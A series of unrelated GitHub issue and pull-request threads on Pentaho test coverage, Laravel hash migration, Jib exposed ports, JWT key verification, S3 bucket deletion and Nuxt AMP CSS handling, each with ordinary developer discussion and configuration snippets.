Complexity Change: -2% :small_red_triangle_down:
Instruction Change: -0.3% :small_red_triangle_down:
Line Change: -0.8% :small_red_triangle_down:

org.pentaho.di.trans.steps.textfileinput.TextFileInputMeta

Branch Change: -0.5% :small_red_triangle_down:

Build Completed
:fire: This pull request has some issues. It would be preferable to fix them in order for it to be just perfect. See below for more details. Some links are also available below for further assistance in addressing those issues.
Build Commands
ant -Dtestreports.dir=bin/reports/unit-test -f engine/build.xml clean-all resolve jacoco && ant -f engine/build.xml checkstyle publish-local

Cleanup Commands
rm -r ~/.ivy2/local || echo no publish local to remove

Changed files
  engine/src/org/pentaho/di/trans/TransMeta.java
  engine/test-src/org/pentaho/di/trans/TransMetaTest.java

Unit Test Coverage
These statistics help you identify how your changes have affected the coverage of the following files. If a file is not in this list, then its coverage was not affected by your changes. To get some help interpreting these metrics, please refer to Jacoco's documentation.

:warning: Coverage Changes: <0.1% (click to expand)
org.pentaho.di.job.entries.getpop.MailConnectionMeta

Branch Change: -1% :small_red_triangle_down:
Complexity Change: -1.5% :small_red_triangle_down:
Instruction Change: -0.3% :small_red_triangle_down:

org.pentaho.di.trans.steps.calculator.CalculatorMetaFunction

Branch Change: -8.7% :small_red_triangle_down:
Complexity Change: -3% :small_red_triangle_down:
Instruction Change: -0.8% :small_red_triangle_down:
Line Change: -0.9% :small_red_triangle_down:

org.pentaho.di.trans.steps.dimensionlookup.DimensionLookupMeta

Branch Change: -1.2% :small_red_triangle_down:
Complexity Change: -0.7% :small_red_triangle_down:
Instruction Change: -0.3% :small_red_triangle_down:

org.pentaho.di.trans.steps.ifnull.IfNullMeta

Branch Change: -2% :small_red_triangle_down:
Complexity Change: -1.9% :small_red_triangle_down:
Instruction Change: -0.2% :small_red_triangle_down:

org.pentaho.di.trans.steps.memgroupby.MemoryGroupByMeta

Branch Change: -2.2% :small_red_triangle_down:
Complexity Change: -2.6% :small_red_triangle_down:

org.pentaho.di.trans.steps.replacestring.ReplaceStringMeta

Instruction Change: -0.1% :small_red_triangle_down:

org.pentaho.di.trans.steps.sortedmerge.SortedMergeMeta

Instruction Change: -0.2% :small_red_triangle_down:

org.pentaho.di.www.TransformationMap

Branch Change: -11.4% :small_red_triangle_down:
Complexity Change: -7.7% :small_red_triangle_down:
Instruction Change: -10.8% :small_red_triangle_down:
Line Change: -10.7% :small_red_triangle_down:


improvement unit testing.

Signed-off-by: Bo-Yi Wu<EMAIL_ADDRESS>

Coverage increased (+20.3%) to 90.625% when pulling 55a93069437165e9d1f19b0c4e97a9307c5646cd on improvement into 5d4caf2209dd253b3b75a72b6289a97facd8ebcf on master.

Coverage increased (+20.3%) to 90.625% when pulling 55a93069437165e9d1f19b0c4e97a9307c5646cd on improvement into 5d4caf2209dd253b3b75a72b6289a97facd8ebcf on master.


help

The server I need to monitor is ThinkSystem SR658, and I have noticed an issue. May I ask if it sometimes displays and sometimes it doesn't? What is the reason for this?

According to your prompt, refer to my previous configuration of SNMP. After adding the following image, it will be normal. thanks

May I ask again if the issue shown in the picture below is caused by the absence of system activity events on my server

Yes, I believe that page is blank unless there is an active warning or error on the system.

Thank you very much！


Wrong location of the functional

Steps to Reproduce:

Open any model
Increase or decrease brightness

Result:
Increase or decrease brightness
Expected Result:
Increase or decrease brightness
"Brightness" needs to be moved to the program toolbar or model window

Not sure what you mean - is it simply about where the slider is in terms of UX?

Yes.
It is unclear to which window the slider belongs.
The user does not even see or use it
I would move it to the toolbar, as shown in the figure
But this is my subjective opinion.


Add a toggle to enable a Table of Contents?

For larger notes I’d like to see a toggle at the top to enable a ToC on the left side of the page.

This is very similar to #34 so I'll close this as a duplicate of that. Please give that issue a thumbs up to show your interest.


[5.7] Mixing hashing algorithms not working

Laravel Version: 5.7.1
PHP Version: 7.2.5
Database Driver & Version: MySQL @ 5.7.23

Description:
The RuntimeException thrown in illuminate/hashing/ArgonHasher.php, check method, breaks backwards compatibility when mixing hashing algorithms.
Currently trying to migrate hashes from bcrypt to Argon2. We rehash passwords after authentication and are running into issues when trying to even login with a bcrypt hash. RuntimeException on line 1 of snippet.
if ($this->attemptLogin($request)) {
	$user = Auth::user();
	if (Hash::needsRehash($user->password)) {
		$user->password = Hash::make($request->input('password'));
		$user->save();
	}
}

Steps To Reproduce:

Have existing users with bcrypt hashes
Use Argon as hashing driver
Login as user with a bcrypt hash

Notes:
Removing throw from ArgonHasher returns to working as expected

I am also having issues with the algorithm checking not quite working as intended.
The hashes I have have been generated over time with different versions of bcrypt and portions have stopped working with Laravel 5.7.
See https://en.wikipedia.org/wiki/Bcrypt#Versioning_history - Bcrypt has had several versions over the years, with the latest identified by the $2y$ prefix.
Now, for whatever reason PHP's password_get_info() function only recognises https://github.com/php/php-src/blob/master/ext/standard/password.c#L81 the $2y$ prefix despite the fact that there are other versions.
Since, behind the scenes $this->info is 'password_get_info()' Laravel now rejects valid bycrpt hashes that don't have $2y$ prefixed. https://github.com/laravel/framework/blob/5.7/src/Illuminate/Hashing/BcryptHasher.php#L60
Example
$hash = '$2a$10$Wrk/FoakWwkX/tT0A/No5uu3IZrVu/e27QHTgpjHlPUQS3HwK0ei2';
password_verify('Test12345', $hash); // bool(true)
password_get_info($hash); // array(3) { ["algo"]=> int(0) ["algoName"]=> string(7) "unknown" ["options"]=> array(0) { } }

Maybe if there was a config option to skip the algo checks?

Duplicate of #25586

This has been fixed in 5.7.4


Add exposed port automatically

Description of the issue: jib won't expose server.port in docker manifest file automatically, unless we write it in maven/gradle configuration file.  If i change server.port in my application.properties file, I need to update my maven POM file too. I don't want to maintain a server port in both places.
Expected behavior: Jib is smart, it can find the MainClass as the ENTRYPOINT, I hope jib can be smart inferences server.port and expose it too.
Steps to reproduce:
If I don't write container.ports.port to 8888 in POM file,  there will be no exposed port in docker image manifest file.
Sometimes even if i set it in POM file, it's still missing in the manifest file.
Environment:
Maven
jib-maven-plugin Configuration:
<plugin>
    <groupId>com.google.cloud.tools</groupId>
    <artifactId>jib-maven-plugin</artifactId>
    <version>1.1.2</version>
    <configuration>
        <from>
            <image>openjdk:8-jre-alpine</image>
        </from>
        <to>
            <image>${docker.image.prefix}/${project.artifactId}</image>
        </to>
    </configuration>
    <executions>
        <execution>
            <phase>package</phase>
            <goals>
                <goal>dockerBuild</goal>
            </goals>
        </execution>
    </executions>
</plugin>

docker manifest config part without ExposedPorts:
{
"Config": {
        "Hostname": "",
        "Domainname": "",
        "User": "",
        "AttachStdin": false,
        "AttachStdout": false,
        "AttachStderr": false,
        "Tty": false,
        "OpenStdin": false,
        "StdinOnce": false,
        "Env": [
            "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/lib/jvm/java-1.8-openjdk/jre/bin:/usr/lib/jvm/java-1.8-openjdk/bin",
            "JAVA_HOME=/usr/lib/jvm/java-1.8-openjdk/jre",
            "JAVA_VERSION=8u212",
            "JAVA_ALPINE_VERSION=8.212.04-r0",
            "LANG=C.UTF-8"
        ],
        "Cmd": null,
        "Image": "",
        "Volumes": {},
        "WorkingDir": "",
        "Entrypoint": [
            "java",
            "-cp",
            "/app/resources:/app/classes:/app/libs/*",
            "com.example.helloservice.HelloServiceApplication"
        ],
        "OnBuild": null,
        "Labels": {}
    }
}

this part is what i want to be included in Config or  ContainerConfig section
"ExposedPorts": {
            "8888/tcp": {}
        }

I'm guessing you're using Spring Boot?  Maybe we can provide a way to support framework-specific configurator plugins.

We're not really in the business of doing framework specific integrations directly in Jib. However it looks like you can configure this yourself using https://www.mojohaus.org/properties-maven-plugin/.
Let maven initialize the properties from your application.properties into the build, you can then inject them into your jib config in your pom.xml? So if it changes in one place, it'll change in all places?

thanks guys,

I'm guessing you're using Spring Boot? Maybe we can provide a way to support framework-specific configurator plugins.

yes, we're using spring boot

We're not really in the business of doing framework specific integrations directly in Jib. However it looks like you can configure this yourself using https://www.mojohaus.org/properties-maven-plugin/.
Let maven initialize the properties from your application.properties into the build, you can then inject them into your jib config in your pom.xml? So if it changes in one place, it'll change in all places?
Here's a possible example: https://stackoverflow.com/a/1231594

thanks for your suggestion. however, spring boot has a default port(8080) setting if server port is not specified in application.properies. And Spring Boot also support YAML as it's configuration file.  I'm afraid
properties-maven-plugin can't cover the above two cases.

Maybe the yaml-properties-maven-plugin might work then?

thanks for your reply, but i'm afraid this plugin could not cover all of our cases.
As i explained previously, our team have 3 cases:

SpringBoot applications with default tomcat port, that means there's no perperties or yaml settings;
this case we still need to add a port setting in jib configuration.
SpringBoot applications with custom tomcat port which is set in application.perperties;
this case we can use properties-maven-plugin.
SpringBoot applications with custom tomcat port which is set in application.yaml;
this case we can use yaml-properties-maven-plugin.

the first case is still not covered. and besides that, I hope if there's a solution to smart inferences server.port and expose it in docker images, not solutions case by case.
thanks.

It's really hard for us to infer defaults from other systems, so I doubt we will have a solution for 1. If you know a way to pro grammatically and correctly infer this, I'd be curious to see what the solution is and see if we could incorporate it. Otherwise, you're going to have the use the configuration setting in pom.xml or explicitly configure the default in a properties/yaml file and configure the properties reader plugin.

@loosebazooka thanks for your explanation.
I'm wondering if JIB can provide a dry-run mode before image building, like spring-boot-thin-launcher. During dry-run mode, application will be started and some network ports would be open, then JIB can find these ports and set them as exposed ports when building image. If dry-run mode is not set, then everything will be the same as current release.

I am using spring boot as well and I set the port in container.ports.port to 42048 but I have never seen it in the docker manifest config.
This is how I currently have it in my pom:
<plugin>                 <groupId>com.google.cloud.tools</groupId>                 <artifactId>jib-maven-plugin</artifactId>                 <version>1.3.0</version>                 <configuration>                     <to>                         <image>devsdt.water.rubicon.com.au:9445/${project.artifactId}:latest</image>                     </to>                     <allowInsecureRegistries>true</allowInsecureRegistries>                     <container>                         <mainClass>${app.entrypoint}</mainClass>                         <ports>                         	<port>42048</port>                         </ports>                         <args>                           <arg>appId=${project.artifactId}</arg>                         </args>                                             <jvmFlags>                           <jvmFlag>-Drubicon.debug.file=${project.artifactId}_${project.version}</jvmFlag>                           <jvmFlag>-Drubicon.app.home=/tmp/rubicon</jvmFlag>                                 </jvmFlags>                                                     <environment>                             <WMS_HOME>/tmp/rubicon</WMS_HOME>                         </environment>                         <useCurrentTimestamp>true</useCurrentTimestamp>                     </container>                 </configuration>                             </plugin>
The image runs fine if I used from docker compose, but I am having communication problems when I use it in AWS ECS Fargate and my front end never finds the backend even that they are running in the same task.

@linkavich14 when I set the port (Jib 1.2.0), I see that the built image has it in the container configuration of the image.
$ mvn clean compile jib:dockerBuild
...
[INFO] Built image to Docker daemon as francium25/test
...
[INFO] BUILD SUCCESS
...
$ docker inspect francium25/test | grep -A 2 Port
            "ExposedPorts": {
                "42048/tcp": {}
            },

@linkavich14 sometimes the port configuration is not working, then I cleaned the entire build environment, and it worked again. I'm afraid this is caused by building cache.

@chanseokoh @ChenWenBrian After I deleted the target folder and move the plugin from the parent, it worked and the port is displaying now thank you

I think I'm going to close this for now. Any automatic port configuration can be handled by a new Jib Extension?


34 get the public key from a file or the identity provider

How to test:

Create a pem-file from the key-material of your identity-provider. (For example: Copy the key-material from your local keycloak-instance to a pem-file (don't forget the header!).
Start the application and go to {{http://localhost:8081/api/token/decode}}
Input the information for the issuer and the token
Untick the checkbox, so the application knows to use the keymaterial specified below
Input the algorithm to use for decoding (for a standard keycloak instance this should be RS256) and the path to the created pem-file.
Click submit.

Can you provide me with an example .pem file that you have used? I tried with mine, maybe the format isn't correct.

This is working as expected for the acceptance criteria. But I have a few questions.

The dropdown with the algorithms is for future functionality, right?
I did a test by selecting the wrong algorithm, for example, EdDSA instead of RS256 (actually any). It seems that it produces an output with the decoded token. Should this be worked on or will this be fixed in future implementations maybe?

The dropdown represents the different algorithms that are supported for the verification of the signed tokens (see documentation). But it seems I misunderstood the way this key is used in the verification. Let me have another look at this.

Since the verification does not automatically check the algorithm specified in the key against the algorithm in the token, I now pass this information via the options object. This should ensure that the token is only validated against the key-material if the specified algorithm matches an allowed algorithm in the token.


Detail. Description Repository ¿2018?

It was left without updating the year in the repository description.

Thanks for warning.

Updated and fixed @Gonzalo2310


Added a delete action to S3 buckets

Thanks!, looking good, some minors comments, One other item is signing our CLA as described at the bottom of the readme.
https://github.com/capitalone/cloud-custodian

@kapilt Got those changes made and i've signed the CLA 👍

looks good, i merged your other pull request though, and this needs an update before i can merge.

merging as is, we'll need to backfill unit tests. Thanks!

fwiw, i'm backfilling on unit tests, going to rename the 'empty' parameter to 'remove-contents' as the former is easily mistaken as a condition for the action (ie. empty?) rather than the imperative that it conrols, thinking about 'remove-contents'


Better SSR support

I'm experiencing a few problems with SSR, which I believe this module doesn't fully support.

the whole project CSS (amp and non-amp) is extracted with extractCss:true in amp mode, making the css huge and unsuitable for optimization. I ended up processing html with the route:render hook to replace it with my own
when non-amp version is SSR rendered, it includes the amp template, which is totally useless. If the route doesn't contain amp the module shouldn't be loaded at all; could it be a solution? I don't see a case for switching from non amp to amp in the browser.

@mfrascati just faced with extractCss problem too. Can you share yours route:render hook?

@arkhamvm sure!
in your nuxt-config.js
const ampify = require("./plugins/ampify");
module.exports = {
  ...
  hooks: {
    // This hook is called before serving the html to the browser
    'render:route': (url, page, { req, res }) => {
      if (/^\/amp\//gi.test(url)) {
        page.html = await ampify(page.html);
      }
    }
  },
}

in plugins/ampify.js do all the transformations needed. In my case I'm removing all the css links, and injecting custom minified css
module.exports = (html) => {
    const styleConcat = `your custom css`
    html = html.replace('', `<style amp-custom>${styleConcat}</style></head>`)
    html = html.replace(/<link[^>]*rel="stylesheet" href=".*\.css[^>]*>/gi, '')
    return html
  }

@mfrascati thanks! Maybe you also known how to pass into styleConcat content from minified css?

Try this:
nuxt.config.js
{
    build: {
      extractCSS: true,
    }

    hooks: {
    // This hook is called before generatic static html files for SPA mode
    'generate:page': (page, url) => {
      if (/^\/amp\//gi.test(url)) {
        page.html = modifyHtml(page.html)
      }
    },
    // This hook is called before rendering the html to the browser
    'render:route': (url, page, { req, res }) => {
      if (/^\/amp\//gi.test(url)) {
        page.html = modifyHtml(page.html)
      }
    }
  }
}

modifyHtml
import { LOCALES } from './config/locales'

const modifyHtml = (html) => {
  const styleConcat = renderSync({ file: 'assets/amp.scss' }).css.toString()
  html = html.replace('', `<style amp-custom>${styleConcat}</style></head>`)
  html = html.replace(/<link[^>]*rel="stylesheet" href=".*\.css[^>]*>/gi, '')
  return html
}

@pperzyna thanks for possible solution. But AFAIK renderSync will be called each time on each amp query. We should insert already compiled css file.